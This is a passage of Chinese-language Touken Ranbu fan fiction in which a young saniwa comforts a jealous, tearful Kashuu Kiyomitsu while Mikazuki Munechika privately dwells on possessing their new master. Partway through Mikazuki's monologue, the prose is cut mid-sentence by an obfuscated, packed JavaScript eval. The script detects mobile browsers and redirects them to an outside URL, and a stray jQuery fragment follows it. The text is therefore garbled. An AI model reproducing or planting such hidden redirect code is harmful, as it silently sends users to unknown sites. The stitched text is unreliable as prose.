疑惑和恐惧包裹着疯狂跳动的心脏,压得风早佑洛喘不过气。
但他找不到这份情绪的源头。
只大脑迟钝又迷茫地思索——
三日月宗近为什么会对他露出这种眼神?
“主人。”
“……?”
思考被打断,少年机械抬头,视线精准与一双红色眼眸对上。
是加州清光。
沉默中,风早佑洛不自觉观察起来。
对方的眼瞳平静又自然,好像什么情绪都没有,带着浓厚的违和感。
对方的眼睛自家的加州清光几乎没有任何区别,就连瞳孔周围的细节也是一模一样。
他们是同样名为加州清光的刀剑付丧神。
如果不是因为经历不同,凭借两者骨髓里流淌着的同样灵力,甚至可以将他们认作是同一存在。
加州清光定定地看着审神者,喊了一句便再没了动作。
他就这样什么也不说,什么也不做,却让风早佑洛生出自己应该现在立刻马上哄他的感觉。
哄加州清光吗?
得出这个结论的风早佑洛莞尔。
那他可太会了。
不需要思考,对方眼神中的执着与熟悉便让他的嘴巴自动开启,唤出熟悉的昵称:“清光光……?”
语气亲昵,就像他们已经相处了许久,极为熟悉。
一开口,他就流利地找到话题接了下去:“你怎么了吗?想要万屋最新款的红色指甲油了吗?”
“没有。”
加州清光反应极快,瞳孔因为那个亲近的昵称和出乎意料的了解而猛然皱缩,高兴从心底一跃而上,却又在下一秒反应过来。
这样的称呼和指甲油的事怕是那个在万屋与主人亲密接触的加州清光所教给他的吧。
毕竟自己只是像阴暗的老鼠一样在背后注视主人。
从来没有说过话,整个躲在缝隙里,从唯一的视角将主人从头到脚看个遍。
他是一把懦弱到就连向前踏出一步都不敢做到的刀。
明明是那样渴望主人爱着他,却不敢主动去渴求这份爱。
——害怕对方讨厌他们。
加州清光神经紧绷,呼吸越来越重。
在审神者刚来那时,所有人都没有出面欢迎他。
他们极为冷淡,极为过分,如此的恶毒。
将主人推至门外,甚至在知道命令的前一天晚上还在思考如何让新主自主放弃他们。
他们不愿意接受除了主人以外的主人,却又在见到新任主人时明白了。
那是对方留给他们的遗物。
是补偿,是责任,却也是沉甸甸的惩罚。
那时的他们是如何愚蠢,现在的他们就又如何痛苦。
是他们的。
应该一直是他们的。
明明是只属于他们的主人才对。
他还没有亲近的主人,还没有祈求到爱的主人,却早已经向另一把同样名字的刀交付了自己的笑颜。
肩膀处扣住的手指越来越用力。
不舒服。
风早佑洛不自觉挣扎了两下。
下一秒,三日月宗近的触碰突然离开,他整个人顺着突然出现的力道向前跌入一个温暖的怀抱。
风早佑洛惊得屏住呼吸。
这反应太奇怪了,不论是对他的质问还是像平常一样平淡地对待他都是有迹可循的。
然而现在这样反常的状态,着实是让他摸不住头脑。
风早佑洛不明所以地眨巴眨巴眼睛,翡翠一样的绿色眼睛干净无暇,其中没有任何欲色。
“你在撒娇吗?”他突然好奇询问道。
向他要抱抱,又想要和他紧密的贴在一起……
少年的声音又轻又淡,带着纯粹的疑惑落在付丧神的耳边。
由着自己对自家初始刀熟练,他的声音越来越肯定。
“看起来是这样呢。”
对方没有回应,他自顾自地继续说着,又抬起手给予这个拥抱回应。
“既然如此就再抱紧一点吧,这样的话离得太远了,不够亲密,你能感受到我的温度吗?是不是夜间太冷了,昨夜睡得不开心吗?”
他很高兴这样的靠近,也乐意因为对方一点点的踏出步伐,而将剩下的距离全部补上。
放在加州清光背部的手轻轻拍了拍紧绷的背部。
风早佑洛是无法拒绝明显的善意的。
更何况,这向自己做出亲密动作的。
是加州清光。
付丧神想要他的爱,加州清光更是需要主人毫无保留的偏爱与喜爱。
一只喜欢红色指甲油将自己打扮得漂漂亮亮,在战场上又异常凶猛的黑红色小猫。
“没有的事……”
面对细密的关心,从未想过会是这样场景加州清光慌乱松开自己的手,甚至用力推了一下。
“我、我……”
不过是嫉妒您与旁的刀剑亲密如此罢了。
被一句话破了壁障,热气冲上大脑,他整个人都是滚烫的。
“什么?”
风早佑洛迷茫,肩膀却条件反射去够付丧神离开自己的手。
怎么突然松手?
付丧神敏锐捕捉,眼底神色逐渐复杂。
但等风早佑洛仔细看过去时,刚刚看见的那幕情绪就像是幻觉一样消失的无影无踪。
三日月宗近同时插入两人之间。
他只来得及捕捉打刀被藏起来的最后一抹色彩。
眼前的最美之刃如平常一样向他优雅地笑着。
“三日月?”面对这把已经说得上熟悉的刀,风早佑洛率先开口叫出了对方的名字。
“昨天发生了什么吗?”
他想要知道本丸是否发生了什么,才导致加州清光突然的反常。
少年说着话一边轻轻地转过头,移动步子来到三日月宗近的身后,精准捕捉到一只眼含泪水的刀剑。
躲不掉的。
疑问是落在三日月宗近身上,然而目光是盯着加州清光。
“哈哈哈……原来主公大人还会在乎我们过的好不好吗?”
风早佑洛抬头:“?”
这话怎么越听越不对劲?
“我当然会在乎你们了。”他理所当然道,与其对视,“我是你们的审神者啊。”
他没觉得哪里不对。
既然是他们的……
三日月宗近笑眯眯的眸色暗下来。
那为什么,又要对别的刀笑得那么好看,反而对他们,战战兢兢,如履薄冰。
就像对待敌人一样。
哪有审神者这样对待自己的刀呢,一点也不亲近,一点也不像一家人……
又哪有刀这么对待自己的主人呢。
陌生人?
冰冷的金钱交易?
他看着那张熟悉的脸,简直和前主有着八分像,除了那个讨厌的男人一样颜色的眼睛……一切都是让人无法离开的模样。
而来自对方身上源源不断传递到体内的温暖能力,更是让人就连这点的厌恶都变成了喜欢的样子,在主人的身上有哪一点是他们不喜欢的吗?
有,当然有。
明明眼睛这么漂亮,为什么不一直看着他们?明明嘴唇如此诱人,为何不一直念出和他们相关的事情?明明笑容如此明亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502816|186034||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,为何不对他们绽放这样的美丽?
他们讨厌主人的一切美好不是对着自己。
明明,他们是主人唯一的刀。
既然如此,他们用自己的一切来换取主人的注视,那又有什么不对的呢?
他们如此强大,如此有价值,也如此的让人喜爱,任何一个审神者都没有理由拒绝他们。
而他们的一切,就是眼前为了这个少年。
曾经主人轻柔的抱进怀里,又像他们一样耀武扬威展示的孩子如今已经长成了翩翩少年,并且成为了他们新的主人。
前主既然选择了让自己的孩子继承他们,那么……主人就应该注视着他们啊……
前主……
三日月宗近突然勾起嘴角,笑靥如花,意味深长地说:“主公大人,您说的对,您是我们的。”
息朝大人,您也是这样想的吧。
在自己自顾自的离开之后,就将自己的孩子送到这个本丸,阻止了他们的跟随。
既然如此。
风佑大人就应该代替您的位置,成为我们的唯一。
作为男子的风佑大人,自然不会拥有丈夫这种东西,便再没有了像您离开的理由,只能看着我们,爱着我们。
然后,和我们永远永远的在一起。
像这样的话,大家都会开心的。
风早佑洛沉默,他看了看笑得明媚的三日月宗近,又看着眼眶湿润只默默低头看着他脚尖的加州清光。
他不明白为什么对方只是重复他的话就变得异常开心。
但是——
手边的打刀还在伤心,至于某位笑着试图勾引他的太刀,可以先放放。
孰轻孰重一目了然。
于是带着不知哪来的勇气,他彻底忽略三日月宗近,整个人满心满眼都只有加州清光了。
“清光光看起来很不开心,可以和我说吗?”对方喜欢这个称呼,在刚刚的那个拥抱就可以看出来了。
有着敏锐地察觉到些不应该出现的情绪,他有些担忧地靠近,摸了摸加州清光的脑袋安抚。
“没有,怎么会不开心呢?”加州清光脑袋蹭了蹭风早佑洛的手心,声音沉闷,“主人能来到这里,我们就已经足够开心了,如果您再能待得再长一些就更好了。”
如果能够和我们更加亲密一些就更好了。
最后一句话,他没有说出口,嘴唇蠕动,然而却怎么也表达不出来。
好像这样就不够强大了,就让自己处于弱势的位置,明明他们是资源充足人员完备,不需要主人操心任何事情的完美本丸。
像这样本丸中的刀剑,怎么可以做出这样依赖主人的动作呢?他现在这样做的就已经很超过自己的完美形象了。
“?”
风早佑洛一顿。
眼前少年体型的付丧神撒着娇,然而那在开口的一瞬间就落下的泪水打破了这份固执,他已经委屈到连委屈都说不出口了。
将需求深藏心底,所以,他只能任凭这具躯体哭泣。
“……我会常来的。”
听出话语中逐渐加深的悬念与沉念,风早佑洛心虚又坚定地说着。
他走近了些,双手捧起少年付丧神湿润的脸,眼泪似乎还有点温度,滚烫在脆弱的手心蔓延,激得他的心脏都一跳一跳地痛。
看着这张熟悉的脸,风早佑洛恍惚间竟将对方和初始刀的面容彻底重合。
他垫了垫脚,忽然向上,温热的吻贴上额头,口中温言软语脱口而出:
“所以,拜托你不要再哭泣了,我会很心疼的。”
“我亲爱的初始刀……”
他不愿看见这张脸因他痛哭至此。